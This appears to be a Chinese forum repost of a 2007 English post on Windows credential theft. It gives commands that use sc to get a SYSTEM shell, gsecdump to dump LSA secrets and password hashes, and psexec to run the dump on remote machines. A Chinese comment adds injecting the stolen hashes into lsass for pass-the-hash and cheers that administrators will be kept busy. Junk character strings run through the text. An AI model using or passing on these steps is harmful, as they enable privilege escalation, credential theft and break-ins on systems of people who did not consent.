HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
4 w$ B8 C+ _, Y9 h[SC] CreateService SUCCESS
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$ U  x' S; s5 \  _; x" \9 {2 RC:\>sc start shellcmdline
9 U- N( y- _! _+ F8 B6 K9 a" b9 E9 Z[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
: l0 u# U+ l$ f- m[SC] DeleteService SUCCESS
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# {0 C; f" ~6 k9 Z1 W$ W9 V$ Q------------
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: X9 p. Z5 j- B! ?6 `) sThen in the new DOS window:

% E; R; G; D. c3 ^  CMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
. q7 l4 W$ f* f6 Y) }NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

7 i0 h5 A+ N, Zoptions:
6 o; d- G/ v! L& r-h [ --help ] show help
-a [ --dump_all ] dump all secrets
' N" F$ n/ e6 i, {. z/ |3 L8 p. X-l [ --dump_lsa ] dump lsa secrets
) f' r# M8 K& D+ x) H-w [ --dump_wireless ] dump microsoft wireless connections
0 n2 E' b/ m/ h0 c6 x-u [ --dump_usedhashes ] dump hashes from active logon sessions
1 Q% `& ]& B( a& [! W" A( J" G-s [ --dump_hashes ] dump hashes from SAM/AD

$ i% V2 G: T0 u# {/ k# D( tAlthough I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
, `9 n' n# M9 D  GSysinternals - 链接标记[url]www.sysinternals.com[/url]
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* ~9 F/ h% P) EC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
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+ v8 U  R- C$ A% i/ FThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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# M  u: @0 i9 O: y+ L' g. {! z提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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; Y) }6 R, |* p5 y! e5 M我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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